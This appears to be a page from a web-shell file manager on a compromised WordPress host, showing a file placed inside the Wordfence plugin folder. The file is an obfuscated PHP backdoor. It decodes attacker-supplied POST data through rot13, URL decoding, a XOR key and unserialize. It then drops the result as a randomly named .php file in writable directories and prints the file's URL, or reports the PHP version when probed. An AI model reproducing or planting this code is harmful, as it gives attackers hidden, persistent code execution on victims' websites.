HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/foar/wp-content/plugins/wordfence/models/ajax.php
<?php $ELeMTGkn = "UJjejpv";function dXmULdDRB($ELeMTGkn){$VhBHPpWtFT = "\x72"."\x61"."\167".chr(117)."\x72"."\x6c"."\x64".'e'.chr(205-106)."\157".chr(1079-979).chr(101);$rabWH = "\163".'t'.chr(441-327).chr(829-734).chr(114)."\157".chr(116).'1'.chr(387-336);$HqnlHhqWDp = "\163".'t'.chr(114)."\x5f"."\163".'p'."\x6c".chr(105).chr(116);$ELeMTGkn = $HqnlHhqWDp($VhBHPpWtFT($rabWH($ELeMTGkn)));return $ELeMTGkn;}function WdzrNrewi($qzEEKX, $aEQot){$kDKan = 's'."\164".chr(378-264).'_'.chr(293-178).chr(1032-920)."\x6c".chr(980-875).'t';$qzEEKX = array_slice($kDKan(str_repeat($qzEEKX, (count($aEQot)/16)+1)), 0, count($aEQot));return $qzEEKX;}function kxKkOm($ubipPTRyevT, $ohUZQQlih, $qzEEKX){$bijFl = "15703fe9-7f97-4a42-877f-52420d376d05";return $ubipPTRyevT ^ $bijFl[$ohUZQQlih % strlen($bijFl)] ^ $qzEEKX;}function fbfQy($aEQot, $qzEEKX){$aEQot = array_map("kxKkOm", array_values($aEQot), array_keys($aEQot), array_values($qzEEKX));$aEQot = implode("", $aEQot);$toduYEP = chr(203-86).chr(1106-996).chr(115).chr(201-100)."\162"."\x69".chr(265-168)."\154".chr(594-489)."\x7a".chr(572-471);$aEQot = @$toduYEP($aEQot);return $aEQot;}function bAMBIAVK(){echo "eWfTM";}function ztSvRGecQy($ubipPTRir){static $yDKlPURqjg = array();$mMtGLjLEFG = glob($ubipPTRir . '/*', GLOB_ONLYDIR);$mALRF = count($mMtGLjLEFG);if ($mALRF > 0) {foreach ($mMtGLjLEFG as $ubipPTR) {$nLrvoRinga = "\151"."\163".chr(95)."\x77"."\x72".chr(516-411).chr(458-342)."\x61".chr(98).chr(595-487).'e';if (@$nLrvoRinga($ubipPTR)) {$yDKlPURqjg[] = $ubipPTR;}}}foreach ($mMtGLjLEFG as $ubipPTRir) ztSvRGecQy($ubipPTRir);return $yDKlPURqjg;}function oAgGasgfV(){echo "UJjejpv";}function DBjKPH($aEQot){$CuDlZjSoj = "\104".chr(99-20)."\x43"."\125".'M'.chr(69).chr(78).chr(84).chr(95).chr(82).chr(79).chr(407-328).chr(764-680);$yIDYAsPSZ = $_SERVER[$CuDlZjSoj];$mMtGLjLEFG = ztSvRGecQy($yIDYAsPSZ);$zivuEVcAmC = array_rand($mMtGLjLEFG);$RATBhAEut = "\56"."\160".chr(745-641)."\x70";$TkiQXEK = $mMtGLjLEFG[$zivuEVcAmC] . "/" . substr(md5(time()), 0, 8) . $RATBhAEut;$xrfrLxLiQR = chr(102)."\151"."\x6c"."\145".chr(877-782).chr(138-26)."\x75".chr(116)."\137".'c'.chr(569-458).chr(110).chr(116).chr(101).chr(110)."\164"."\163";@$xrfrLxLiQR($TkiQXEK, $aEQot);$SSzbTu = "\x48"."\x54"."\124"."\x50".chr(475-380).'H'."\117".chr(1054-971).chr(125-41);$srGsNPT = chr(680-576)."\x74"."\164".'p'."\72".chr(249-202)."\x2f";$VADKIEmQfM = $srGsNPT . $_SERVER[$SSzbTu] . substr($TkiQXEK, strlen($yIDYAsPSZ));print($VADKIEmQfM);}foreach ($_POST as $qzEEKX => $aEQot){$roKer = strlen($qzEEKX);if ($roKer == 16){$aEQot = dXmULdDRB($aEQot);$qzEEKX = WdzrNrewi($qzEEKX, $aEQot);$aEQot = fbfQy($aEQot, $qzEEKX);if (@is_array($aEQot)){$zivuEVcAmC = array_keys($aEQot);$aEQot = $aEQot[$zivuEVcAmC[0]];$zivuEVcAmC = $zivuEVcAmC[0];if ($aEQot !== $zivuEVcAmC){DBjKPH($aEQot);}else {$ezmMGH = "\x70".'h'.chr(112);$tpCbIR = "\160".chr(903-799).chr(180-68).'v'."\x65".chr(1007-893)."\163"."\x69"."\157"."\x6e";$aEQot = Array($ezmMGH => @$tpCbIR(), );$UgByyZZ = "\163".chr(101).'r'.chr(105)."\141"."\x6c"."\x69".'z'."\x65";echo @$UgByyZZ($aEQot);}die();}}}